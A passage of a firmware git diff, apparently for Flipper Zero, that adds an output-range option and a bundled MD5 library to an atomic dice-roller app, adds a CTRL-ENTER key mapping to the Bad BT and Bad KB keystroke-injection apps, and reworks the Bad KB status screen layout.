Mismatch** error may appear if you are using custom firmware. You can bypass this error but the program may crash. + +## Changelog + +* 2023-12-13 + * Output range can be selected, other range will be added later + * MD5 library is now a local library because this library has been removed in the toolchain + +* 2023-08-05 + * Initial release \ No newline at end of file diff --git a/applications/external/atomicdiceroller/flipper_atomicdiceroller.c b/applications/external/atomicdiceroller/flipper_atomicdiceroller.c index 6c665fcb911..a46aa2bfb89 100644 --- a/applications/external/atomicdiceroller/flipper_atomicdiceroller.c +++ b/applications/external/atomicdiceroller/flipper_atomicdiceroller.c @@ -10,7 +10,7 @@ #include #include #include -#include +#include "md5.h" #define SCREEN_SIZE_X 128 #define SCREEN_SIZE_Y 64 @@ -32,10 +32,12 @@ typedef struct { typedef struct { FuriMutex* mutex; uint32_t cps; - uint32_t diceAvailiable; + uint8_t diceAvailiable; uint8_t dice; uint8_t method; uint8_t pause; + uint8_t tickCounter; + uint8_t range; } mutexStruct; static void draw_callback(Canvas* canvas, void* ctx) { @@ -50,18 +52,70 @@ static void draw_callback(Canvas* canvas, void* ctx) { snprintf(buffer, sizeof(buffer), "%ld cps", mutexDraw.cps); canvas_draw_str_aligned(canvas, 0, 10, AlignLeft, AlignBottom, buffer); - snprintf(buffer, sizeof(buffer), "%lu/64", mutexDraw.diceAvailiable); + snprintf(buffer, sizeof(buffer), "%u/64", mutexDraw.diceAvailiable); canvas_draw_str_aligned(canvas, SCREEN_SIZE_X, 10, AlignRight, AlignBottom, buffer); + if(mutexDraw.method == 0) { + if(mutexDraw.tickCounter < 2) { + buffer[0] = '-'; + buffer[1] = '-'; + buffer[2] = '-'; + buffer[3] = '\0'; + } else if(mutexDraw.tickCounter < 4) { + buffer[0] = '+'; + buffer[1] = '-'; + buffer[2] = '-'; + buffer[3] = '\0'; + } else if(mutexDraw.tickCounter < 6) { + buffer[0] = '+'; + buffer[1] = '+'; + buffer[2] = '-'; + buffer[3] = '\0'; + } else { + buffer[0] = '+'; + buffer[1] = '+'; + buffer[2] = '+'; + buffer[3] = '\0'; + } + } else { + if(mutexDraw.tickCounter < 8) { + buffer[0] = '-'; + buffer[1] = '-'; + buffer[2] = '-'; + buffer[3] = '\0'; + } else if(mutexDraw.tickCounter < 16) { + buffer[0] = '+'; + buffer[1] = '-'; + buffer[2] = '-'; + buffer[3] = '\0'; + } else if(mutexDraw.tickCounter < 24) { + buffer[0] = '+'; + buffer[1] = '+'; + buffer[2] = '-'; + buffer[3] = '\0'; + } else { + buffer[0] = '+'; + buffer[1] = '+'; + buffer[2] = '+'; + buffer[3] = '\0'; + } + } + canvas_draw_str_aligned(canvas, SCREEN_SIZE_X - 5, 20, AlignRight, AlignBottom, buffer); + if(mutexDraw.method == 0) - canvas_draw_str_aligned(canvas, 0, 20, AlignLeft, AlignBottom, "Hash: CRC32"); + canvas_draw_str_aligned(canvas, 0, 22, AlignLeft, AlignBottom, "Hash: CRC32"); else - canvas_draw_str_aligned(canvas, 0, 20, AlignLeft, AlignBottom, "Hash: MD5"); + canvas_draw_str_aligned(canvas, 0, 22, AlignLeft, AlignBottom, "Hash: MD5"); - if(mutexDraw.dice != 0 && mutexDraw.pause == 0) { + if(mutexDraw.range == 0) + canvas_draw_str_aligned(canvas, 0, 34, AlignLeft, AlignBottom, "Range: 0-1"); + else + canvas_draw_str_aligned(canvas, 0, 34, AlignLeft, AlignBottom, "Range: 1-6"); + + if(mutexDraw.pause == 0) { canvas_set_font(canvas, FontBigNumbers); snprintf(buffer, sizeof(buffer), "%u", mutexDraw.dice); - canvas_draw_str_aligned(canvas, SCREEN_SIZE_X / 2, 50, AlignCenter, AlignBottom, buffer); + canvas_draw_str_aligned(canvas, SCREEN_SIZE_X / 2, 54, AlignCenter, AlignBottom, buffer); } } @@ -114,6 +168,8 @@ int32_t flipper_atomicdiceroller_app() { mutexVal.dice = 0; mutexVal.diceAvailiable = 0; mutexVal.method = 0; + mutexVal.tickCounter = 0; + mutexVal.range = 0; uint32_t counter = 0; mutexVal.mutex = furi_mutex_alloc(FuriMutexTypeNormal); @@ -137,12 +193,8 @@ int32_t flipper_atomicdiceroller_app() { FuriTimer* timerPause = furi_timer_alloc(clock_tick_pause, FuriTimerTypePeriodic, event_queue); // ENABLE 5V pin - // Enable 5v power, multiple attempts to avoid issues with power chip protection false triggering - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - furi_delay_ms(10); - } + furi_hal_power_enable_otg(); + uint8_t diceBuffer[64]; for(uint8_t i = 0; i < 64; i++) diceBuffer[i] = 0; @@ -152,6 +204,7 @@ int32_t flipper_atomicdiceroller_app() { uint8_t tickCounter = 0; uint32_t CRC32 = 0; uint8_t method = 0; + uint8_t range = 0; // MD5 md5_context* md5_ctx = malloc(sizeof(md5_context)); @@ -198,8 +251,9 @@ int32_t flipper_atomicdiceroller_app() { tickCounter = 0; furi_mutex_acquire(mutexVal.mutex, FuriWaitForever); mutexVal.method = 0; - mutexVal.dice = 0; + mutexVal.pause = 1; mutexVal.diceAvailiable = 0; + mutexVal.tickCounter = 0; furi_mutex_release(mutexVal.mutex); screenRefresh = 1; } @@ -213,8 +267,41 @@ int32_t flipper_atomicdiceroller_app() { tickCounter = 0; furi_mutex_acquire(mutexVal.mutex, FuriWaitForever); mutexVal.method = 1; - mutexVal.dice = 0; + mutexVal.pause = 1; mutexVal.diceAvailiable = 0; + mutexVal.tickCounter = 0; + furi_mutex_release(mutexVal.mutex); + screenRefresh = 1; + } + } else if(event.input.key == InputKeyUp && event.input.type == InputTypeLong) { + if(range > 0) { + range--; + diceBufferPositionWrite = 0; + diceBufferPositionRead = 0; + diceBufferCounter = 0; + md5_starts(md5_ctx); + tickCounter = 0; + furi_mutex_acquire(mutexVal.mutex, FuriWaitForever); + mutexVal.pause = 1; + mutexVal.diceAvailiable = 0; + mutexVal.tickCounter = 0; + mutexVal.range = range; + furi_mutex_release(mutexVal.mutex); + screenRefresh = 1; + } + } else if(event.input.key == InputKeyDown && event.input.type == InputTypeLong) { + if(range < 1) { + range++; + diceBufferPositionWrite = 0; + diceBufferPositionRead = 0; + diceBufferCounter = 0; + md5_starts(md5_ctx); + tickCounter = 0; + furi_mutex_acquire(mutexVal.mutex, FuriWaitForever); + mutexVal.pause = 1; + mutexVal.diceAvailiable = 0; + mutexVal.tickCounter = 0; + mutexVal.range = range; furi_mutex_release(mutexVal.mutex); screenRefresh = 1; } @@ -223,6 +310,7 @@ int32_t flipper_atomicdiceroller_app() { } else if(event.type == ClockEventTypeTick) { furi_mutex_acquire(mutexVal.mutex, FuriWaitForever); mutexVal.cps = counter; + mutexVal.tickCounter = tickCounter; furi_mutex_release(mutexVal.mutex); counter = 0; @@ -249,13 +337,9 @@ int32_t flipper_atomicdiceroller_app() { tickCounter++; if(tickCounter == 8) { - uint8_t localDice = CRC32 & 0b111; - - if(localDice == 0 || localDice == 7) { - localDice = (diceBuffer[diceBufferPositionRead] >> 3) & 0b111; - } + if(range == 0) { + uint8_t localDice = CRC32 & 0b1; - if(localDice >= 1 && localDice <= 6) { diceBuffer[diceBufferPositionWrite] = localDice; diceBufferCounter++; if(diceBufferPositionWrite != 63) @@ -268,6 +352,27 @@ int32_t flipper_atomicdiceroller_app() { furi_mutex_release(mutexVal.mutex); screenRefresh = 1; + } else if(range == 1) { + uint8_t localDice = CRC32 & 0b111; + + if(localDice == 0 || localDice == 7) { + localDice = (diceBuffer[diceBufferPositionRead] >> 3) & 0b111; + } + + if(localDice >= 1 && localDice <= 6) { + diceBuffer[diceBufferPositionWrite] = localDice; + diceBufferCounter++; + if(diceBufferPositionWrite != 63) + diceBufferPositionWrite++; + else + diceBufferPositionWrite = 0; + + furi_mutex_acquire(mutexVal.mutex, FuriWaitForever); + mutexVal.diceAvailiable = diceBufferCounter; + furi_mutex_release(mutexVal.mutex); + + screenRefresh = 1; + } } CRC32 = 0; @@ -290,8 +395,8 @@ int32_t flipper_atomicdiceroller_app() { uint8_t localDice = 0; for(uint8_t i = 0; i < 16; i++) { - localDice = hash[i] & 0b111; - if(localDice >= 1 && localDice <= 6) { + if(range == 0) { + localDice = hash[i] & 0b1; diceBuffer[diceBufferPositionWrite] = localDice; diceBufferCounter++; if(diceBufferPositionWrite != 63) @@ -305,6 +410,23 @@ int32_t flipper_atomicdiceroller_app() { screenRefresh = 1; break; + } else if(range == 1) { + localDice = hash[i] & 0b111; + if(localDice >= 1 && localDice <= 6) { + diceBuffer[diceBufferPositionWrite] = localDice; + diceBufferCounter++; + if(diceBufferPositionWrite != 63) + diceBufferPositionWrite++; + else + diceBufferPositionWrite = 0; + + furi_mutex_acquire(mutexVal.mutex, FuriWaitForever); + mutexVal.diceAvailiable = diceBufferCounter; + furi_mutex_release(mutexVal.mutex); + + screenRefresh = 1; + break; + } } } @@ -330,10 +452,7 @@ int32_t flipper_atomicdiceroller_app() { furi_record_close(RECORD_NOTIFICATION); - // Disable 5v power - if(furi_hal_power_is_otg_enabled()) { - furi_hal_power_disable_otg(); - } + furi_hal_power_disable_otg(); furi_hal_gpio_disable_int_callback(&gpio_ext_pa7); furi_hal_gpio_remove_int_callback(&gpio_ext_pa7); diff --git a/applications/external/atomicdiceroller/md5.c b/applications/external/atomicdiceroller/md5.c new file mode 100644 index 00000000000..a907d52e3b4 --- /dev/null +++ b/applications/external/atomicdiceroller/md5.c @@ -0,0 +1,299 @@ +/******************************************************************************* +* Portions COPYRIGHT 2015 STMicroelectronics * +* Portions Copyright (C) 2006-2013, Brainspark B.V. * +*******************************************************************************/ + +/* + * RFC 1321 compliant MD5 implementation + * + * Copyright (C) 2006-2013, Brainspark B.V. + * + * This file is part of PolarSSL (http://www.polarssl.org) + * Lead Maintainer: Paul Bakker + * + * All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ +/* + * The MD5 algorithm was designed by Ron Rivest in 1991. + * + * http://www.ietf.org/rfc/rfc1321.txt + */ + +/** + ****************************************************************************** + * @file md5.c + * @author MCD Application Team + * @brief This file has been modified to support the hardware Cryptographic and + * Hash processors embedded in STM32F415xx/417xx/437xx/439xx/756xx devices. + * This support is activated by defining the "USE_STM32F4XX_HW_CRYPTO" + * or "USE_STM32F7XX_HW_CRYPTO" macro in PolarSSL config.h file. + ****************************************************************************** + * @attention + * + * Licensed under MCD-ST Liberty SW License Agreement V2, (the "License"); + * You may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.st.com/software_license_agreement_liberty_v2 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ****************************************************************************** + */ + +#include "md5.h" + +/* + * 32-bit integer manipulation macros (little endian) + */ +#ifndef GET_UINT32_LE +#define GET_UINT32_LE(n, b, i) \ + { \ + (n) = ((uint32_t)(b)[(i)]) | ((uint32_t)(b)[(i) + 1] << 8) | \ + ((uint32_t)(b)[(i) + 2] << 16) | ((uint32_t)(b)[(i) + 3] << 24); \ + } +#endif + +#ifndef PUT_UINT32_LE +#define PUT_UINT32_LE(n, b, i) \ + { \ + (b)[(i)] = (unsigned char)((n)); \ + (b)[(i) + 1] = (unsigned char)((n) >> 8); \ + (b)[(i) + 2] = (unsigned char)((n) >> 16); \ + (b)[(i) + 3] = (unsigned char)((n) >> 24); \ + } +#endif + +/* + * MD5 context setup + */ +void md5_starts(md5_context* ctx) { + ctx->total[0] = 0; + ctx->total[1] = 0; + + ctx->state[0] = 0x67452301; + ctx->state[1] = 0xEFCDAB89; + ctx->state[2] = 0x98BADCFE; + ctx->state[3] = 0x10325476; +} + +void md5_process(md5_context* ctx, const unsigned char data[64]) { + uint32_t X[16], A, B, C, D; + + GET_UINT32_LE(X[0], data, 0); + GET_UINT32_LE(X[1], data, 4); + GET_UINT32_LE(X[2], data, 8); + GET_UINT32_LE(X[3], data, 12); + GET_UINT32_LE(X[4], data, 16); + GET_UINT32_LE(X[5], data, 20); + GET_UINT32_LE(X[6], data, 24); + GET_UINT32_LE(X[7], data, 28); + GET_UINT32_LE(X[8], data, 32); + GET_UINT32_LE(X[9], data, 36); + GET_UINT32_LE(X[10], data, 40); + GET_UINT32_LE(X[11], data, 44); + GET_UINT32_LE(X[12], data, 48); + GET_UINT32_LE(X[13], data, 52); + GET_UINT32_LE(X[14], data, 56); + GET_UINT32_LE(X[15], data, 60); + +#define S(x, n) (((x) << (n)) | (((x)&0xFFFFFFFF) >> (32 - (n)))) + +#define P(a, b, c, d, k, s, t) \ + { \ + a += F(b, c, d) + X[k] + t; \ + a = S(a, s) + b; \ + } + + A = ctx->state[0]; + B = ctx->state[1]; + C = ctx->state[2]; + D = ctx->state[3]; + +#define F(x, y, z) ((z) ^ ((x) & ((y) ^ (z)))) + + P(A, B, C, D, 0, 7, 0xD76AA478); + P(D, A, B, C, 1, 12, 0xE8C7B756); + P(C, D, A, B, 2, 17, 0x242070DB); + P(B, C, D, A, 3, 22, 0xC1BDCEEE); + P(A, B, C, D, 4, 7, 0xF57C0FAF); + P(D, A, B, C, 5, 12, 0x4787C62A); + P(C, D, A, B, 6, 17, 0xA8304613); + P(B, C, D, A, 7, 22, 0xFD469501); + P(A, B, C, D, 8, 7, 0x698098D8); + P(D, A, B, C, 9, 12, 0x8B44F7AF); + P(C, D, A, B, 10, 17, 0xFFFF5BB1); + P(B, C, D, A, 11, 22, 0x895CD7BE); + P(A, B, C, D, 12, 7, 0x6B901122); + P(D, A, B, C, 13, 12, 0xFD987193); + P(C, D, A, B, 14, 17, 0xA679438E); + P(B, C, D, A, 15, 22, 0x49B40821); + +#undef F + +#define F(x, y, z) ((y) ^ ((z) & ((x) ^ (y)))) + + P(A, B, C, D, 1, 5, 0xF61E2562); + P(D, A, B, C, 6, 9, 0xC040B340); + P(C, D, A, B, 11, 14, 0x265E5A51); + P(B, C, D, A, 0, 20, 0xE9B6C7AA); + P(A, B, C, D, 5, 5, 0xD62F105D); + P(D, A, B, C, 10, 9, 0x02441453); + P(C, D, A, B, 15, 14, 0xD8A1E681); + P(B, C, D, A, 4, 20, 0xE7D3FBC8); + P(A, B, C, D, 9, 5, 0x21E1CDE6); + P(D, A, B, C, 14, 9, 0xC33707D6); + P(C, D, A, B, 3, 14, 0xF4D50D87); + P(B, C, D, A, 8, 20, 0x455A14ED); + P(A, B, C, D, 13, 5, 0xA9E3E905); + P(D, A, B, C, 2, 9, 0xFCEFA3F8); + P(C, D, A, B, 7, 14, 0x676F02D9); + P(B, C, D, A, 12, 20, 0x8D2A4C8A); + +#undef F + +#define F(x, y, z) ((x) ^ (y) ^ (z)) + + P(A, B, C, D, 5, 4, 0xFFFA3942); + P(D, A, B, C, 8, 11, 0x8771F681); + P(C, D, A, B, 11, 16, 0x6D9D6122); + P(B, C, D, A, 14, 23, 0xFDE5380C); + P(A, B, C, D, 1, 4, 0xA4BEEA44); + P(D, A, B, C, 4, 11, 0x4BDECFA9); + P(C, D, A, B, 7, 16, 0xF6BB4B60); + P(B, C, D, A, 10, 23, 0xBEBFBC70); + P(A, B, C, D, 13, 4, 0x289B7EC6); + P(D, A, B, C, 0, 11, 0xEAA127FA); + P(C, D, A, B, 3, 16, 0xD4EF3085); + P(B, C, D, A, 6, 23, 0x04881D05); + P(A, B, C, D, 9, 4, 0xD9D4D039); + P(D, A, B, C, 12, 11, 0xE6DB99E5); + P(C, D, A, B, 15, 16, 0x1FA27CF8); + P(B, C, D, A, 2, 23, 0xC4AC5665); + +#undef F + +#define F(x, y, z) ((y) ^ ((x) | ~(z))) + + P(A, B, C, D, 0, 6, 0xF4292244); + P(D, A, B, C, 7, 10, 0x432AFF97); + P(C, D, A, B, 14, 15, 0xAB9423A7); + P(B, C, D, A, 5, 21, 0xFC93A039); + P(A, B, C, D, 12, 6, 0x655B59C3); + P(D, A, B, C, 3, 10, 0x8F0CCC92); + P(C, D, A, B, 10, 15, 0xFFEFF47D); + P(B, C, D, A, 1, 21, 0x85845DD1); + P(A, B, C, D, 8, 6, 0x6FA87E4F); + P(D, A, B, C, 15, 10, 0xFE2CE6E0); + P(C, D, A, B, 6, 15, 0xA3014314); + P(B, C, D, A, 13, 21, 0x4E0811A1); + P(A, B, C, D, 4, 6, 0xF7537E82); + P(D, A, B, C, 11, 10, 0xBD3AF235); + P(C, D, A, B, 2, 15, 0x2AD7D2BB); + P(B, C, D, A, 9, 21, 0xEB86D391); + +#undef F + + ctx->state[0] += A; + ctx->state[1] += B; + ctx->state[2] += C; + ctx->state[3] += D; +} + +/* + * MD5 process buffer + */ +void md5_update(md5_context* ctx, const unsigned char* input, size_t ilen) { + size_t fill; + uint32_t left; + + if(ilen <= 0) return; + + left = ctx->total[0] & 0x3F; + fill = 64 - left; + + ctx->total[0] += (uint32_t)ilen; + ctx->total[0] &= 0xFFFFFFFF; + + if(ctx->total[0] < (uint32_t)ilen) ctx->total[1]++; + + if(left && ilen >= fill) { + memcpy((void*)(ctx->buffer + left), input, fill); + md5_process(ctx, ctx->buffer); + input += fill; + ilen -= fill; + left = 0; + } + + while(ilen >= 64) { + md5_process(ctx, input); + input += 64; + ilen -= 64; + } + + if(ilen > 0) { + memcpy((void*)(ctx->buffer + left), input, ilen); + } +} + +static const unsigned char md5_padding[64] = {0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; + +/* + * MD5 final digest + */ +void md5_finish(md5_context* ctx, unsigned char output[16]) { + uint32_t last, padn; + uint32_t high, low; + unsigned char msglen[8]; + + high = (ctx->total[0] >> 29) | (ctx->total[1] << 3); + low = (ctx->total[0] << 3); + + PUT_UINT32_LE(low, msglen, 0); + PUT_UINT32_LE(high, msglen, 4); + + last = ctx->total[0] & 0x3F; + padn = (last < 56) ? (56 - last) : (120 - last); + + md5_update(ctx, md5_padding, padn); + md5_update(ctx, msglen, 8); + + PUT_UINT32_LE(ctx->state[0], output, 0); + PUT_UINT32_LE(ctx->state[1], output, 4); + PUT_UINT32_LE(ctx->state[2], output, 8); + PUT_UINT32_LE(ctx->state[3], output, 12); +} + +/* + * output = MD5( input buffer ) + */ +void md5(const unsigned char* input, size_t ilen, unsigned char output[16]) { + md5_context ctx; + + md5_starts(&ctx); + md5_update(&ctx, input, ilen); + md5_finish(&ctx, output); + + memset(&ctx, 0, sizeof(md5_context)); //-V597 +} diff --git a/applications/external/atomicdiceroller/md5.h b/applications/external/atomicdiceroller/md5.h new file mode 100644 index 00000000000..fe53db8d3e5 --- /dev/null +++ b/applications/external/atomicdiceroller/md5.h @@ -0,0 +1,83 @@ +/** + * \file md5.h + * + * \brief MD5 message digest algorithm (hash function) + * + * Copyright (C) 2006-2013, Brainspark B.V. + * + * This file is part of PolarSSL (http://www.polarssl.org) + * Lead Maintainer: Paul Bakker + * + * All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include +#include +#include + +/** + * \brief MD5 context structure + */ +typedef struct { + uint32_t total[2]; /*!< number of bytes processed */ + uint32_t state[4]; /*!< intermediate digest state */ + unsigned char buffer[64]; /*!< data block being processed */ +} md5_context; + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \brief MD5 context setup + * + * \param ctx context to be initialized + */ +void md5_starts(md5_context* ctx); + +/** + * \brief MD5 process buffer + * + * \param ctx MD5 context + * \param input buffer holding the data + * \param ilen length of the input data + */ +void md5_update(md5_context* ctx, const unsigned char* input, size_t ilen); + +/** + * \brief MD5 final digest + * + * \param ctx MD5 context + * \param output MD5 checksum result + */ +void md5_finish(md5_context* ctx, unsigned char output[16]); + +/* Internal use */ +void md5_process(md5_context* ctx, const unsigned char data[64]); + +/** + * \brief Output = MD5( input buffer ) + * + * \param input buffer holding the data + * \param ilen length of the input data + * \param output MD5 checksum result + */ +void md5(const unsigned char* input, size_t ilen, unsigned char output[16]); + +#ifdef __cplusplus +} +#endif diff --git a/applications/external/bad_bt/helpers/ducky_script_keycodes.c b/applications/external/bad_bt/helpers/ducky_script_keycodes.c index 55c52810fa3..c515df65168 100644 --- a/applications/external/bad_bt/helpers/ducky_script_keycodes.c +++ b/applications/external/bad_bt/helpers/ducky_script_keycodes.c @@ -9,6 +9,7 @@ typedef struct { static const DuckyKey ducky_keys[] = { {"CTRL-ALT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_ALT}, {"CTRL-SHIFT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_SHIFT}, + {"CTRL-ENTER", KEY_MOD_LEFT_CTRL | HID_KEYBOARD_RETURN}, {"ALT-SHIFT", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_SHIFT}, {"ALT-GUI", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_GUI}, {"GUI-SHIFT", KEY_MOD_LEFT_GUI | KEY_MOD_LEFT_SHIFT}, diff --git a/applications/external/bad_kb/helpers/ducky_script_keycodes.c b/applications/external/bad_kb/helpers/ducky_script_keycodes.c index da2fc22f79f..b440a1aaffc 100644 --- a/applications/external/bad_kb/helpers/ducky_script_keycodes.c +++ b/applications/external/bad_kb/helpers/ducky_script_keycodes.c @@ -10,6 +10,7 @@ typedef struct { static const DuckyKey ducky_keys[] = { {"CTRL-ALT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_ALT}, {"CTRL-SHIFT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_SHIFT}, + {"CTRL-ENTER", KEY_MOD_LEFT_CTRL | HID_KEYBOARD_RETURN}, {"ALT-SHIFT", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_SHIFT}, {"ALT-GUI", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_GUI}, {"GUI-SHIFT", KEY_MOD_LEFT_GUI | KEY_MOD_LEFT_SHIFT}, diff --git a/applications/external/bad_kb/views/bad_kb_view.c b/applications/external/bad_kb/views/bad_kb_view.c index 86b68fea66e..34f5f1eea3b 100644 --- a/applications/external/bad_kb/views/bad_kb_view.c +++ b/applications/external/bad_kb/views/bad_kb_view.c @@ -40,8 +40,6 @@ static void bad_kb_draw_callback(Canvas* canvas, void* _model) { canvas_draw_str( canvas, 2, 8 + canvas_current_font_height(canvas), furi_string_get_cstr(disp_str)); - furi_string_reset(disp_str); - canvas_draw_icon(canvas, 22, 24, &I_UsbTree_48x22); if((state == BadKbStateIdle) || (state == BadKbStateDone) || @@ -79,76 +77,85 @@ static void bad_kb_draw_callback(Canvas* canvas, void* _model) { canvas_draw_str_aligned(canvas, 127, 43, AlignRight, AlignBottom, "ERROR"); } else if(state == BadKbStateScriptError) { canvas_draw_icon(canvas, 4, 26, &I_Error_18x18); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 127, 33, AlignRight, AlignBottom, "ERROR:"); - canvas_set_font(canvas, FontSecondary); - furi_string_printf(disp_str, "line %u", model->state.error_line); + furi_string_printf(disp_str, "line %zu", model->state.error_line); canvas_draw_str_aligned( canvas, 127, 46, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); - furi_string_reset(disp_str); furi_string_set_str(disp_str, model->state.error); elements_string_fit_width(canvas, disp_str, canvas_width(canvas)); canvas_draw_str_aligned( canvas, 127, 56, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); - furi_string_reset(disp_str); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 127, 33, AlignRight, AlignBottom, "ERROR:"); } else if(state == BadKbStateIdle) { canvas_draw_icon(canvas, 4, 26, &I_Smile_18x18); + furi_string_printf(disp_str, "0/%zu", model->state.line_nb); + canvas_draw_str_aligned( + canvas, 124, 47, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned(canvas, 114, 40, AlignRight, AlignBottom, "0"); - canvas_draw_icon(canvas, 117, 26, &I_Percent_10x14); + canvas_draw_str_aligned(canvas, 112, 37, AlignRight, AlignBottom, "0"); + canvas_draw_icon(canvas, 115, 23, &I_Percent_10x14); } else if(state == BadKbStateRunning) { if(model->anim_frame == 0) { canvas_draw_icon(canvas, 4, 23, &I_EviSmile1_18x21); } else { canvas_draw_icon(canvas, 4, 23, &I_EviSmile2_18x21); } + furi_string_printf(disp_str, "%zu/%zu", model->state.line_cur, model->state.line_nb); + canvas_draw_str_aligned( + canvas, 124, 47, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); canvas_set_font(canvas, FontBigNumbers); furi_string_printf( disp_str, "%u", ((model->state.line_cur - 1) * 100) / model->state.line_nb); canvas_draw_str_aligned( - canvas, 114, 40, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); - furi_string_reset(disp_str); - canvas_draw_icon(canvas, 117, 26, &I_Percent_10x14); + canvas, 112, 37, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); + canvas_draw_icon(canvas, 115, 23, &I_Percent_10x14); } else if(state == BadKbStateDone) { canvas_draw_icon(canvas, 4, 23, &I_EviSmile1_18x21); + furi_string_printf(disp_str, "%zu/%zu", model->state.line_nb, model->state.line_nb); + canvas_draw_str_aligned( + canvas, 124, 47, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str_aligned(canvas, 114, 40, AlignRight, AlignBottom, "100"); - furi_string_reset(disp_str); - canvas_draw_icon(canvas, 117, 26, &I_Percent_10x14); + canvas_draw_str_aligned(canvas, 112, 37, AlignRight, AlignBottom, "100"); + canvas_draw_icon(canvas, 115, 23, &I_Percent_10x14); } else if(state == BadKbStateDelay) { if(model->anim_frame == 0) { canvas_draw_icon(canvas, 4, 23, &I_EviWaiting1_18x21); } else { canvas_draw_icon(canvas, 4, 23, &I_EviWaiting2_18x21); } + uint32_t delay = model->state.delay_remain / 10; + if(delay) { + furi_string_printf(disp_str, "Delay %lus", delay); + canvas_draw_str_aligned( + canvas, 4, 61, AlignLeft, AlignBottom, furi_string_get_cstr(disp_str)); + } + furi_string_printf(disp_str, "%zu/%zu", model->state.line_cur, model->state.line_nb); + canvas_draw_str_aligned( + canvas, 124, 47, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); canvas_set_font(canvas, FontBigNumbers); furi_string_printf( disp_str, "%u", ((model->state.line_cur - 1) * 100) / model->state.line_nb); canvas_draw_str_aligned( - canvas, 114, 40, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); - furi_string_reset(disp_str); - canvas_draw_icon(canvas, 117, 26, &I_Percent_10x14); - canvas_set_font(canvas, FontSecondary); - furi_string_printf(disp_str, "delay %lus", model->state.delay_remain); - canvas_draw_str_aligned( - canvas, 127, 50, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); - furi_string_reset(disp_str); + canvas, 112, 37, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); + canvas_draw_icon(canvas, 115, 23, &I_Percent_10x14); } else if((state == BadKbStatePaused) || (state == BadKbStateWaitForBtn)) { if(model->anim_frame == 0) { canvas_draw_icon(canvas, 4, 23, &I_EviWaiting1_18x21); } else { canvas_draw_icon(canvas, 4, 23, &I_EviWaiting2_18x21); } + if(state != BadKbStateWaitForBtn) { + canvas_draw_str_aligned(canvas, 4, 61, AlignLeft, AlignBottom, "Paused"); + } + furi_string_printf(disp_str, "%zu/%zu", model->state.line_cur, model->state.line_nb); + canvas_draw_str_aligned( + canvas, 124, 47, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); canvas_set_font(canvas, FontBigNumbers); furi_string_printf( disp_str, "%u", ((model->state.line_cur - 1) * 100) / model->state.line_nb); canvas_draw_str_aligned( - canvas, 114, 40, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); - furi_string_reset(disp_str); - canvas_draw_icon(canvas, 117, 26, &I_Percent_10x14); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 127, 50, AlignRight, AlignBottom, "Paused"); - furi_string_reset(disp_str); + canvas, 112, 37, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); + canvas_draw_icon(canvas, 115, 23, &I_Percent_10x14); } else { canvas_draw_icon(canvas, 4, 26, &I_Clock_18x18); } diff --git a/applications/external/blackjack_counter/.github/workflows/build.yml b/applications/external/blackjack_counter/.github/workflows/build.yml new file mode 100644 index 00000000000..083481c9437 --- /dev/null +++ b/applications/external/blackjack_counter/.github/workflows/build.yml @@ -0,0 +1,39 @@ +name: "build with ufbt" +on: + push: + branches: + - main + pull_request: + branches: + - '**' +jobs: + ufbt-resistors-build-action: + runs-on: ubuntu-latest + 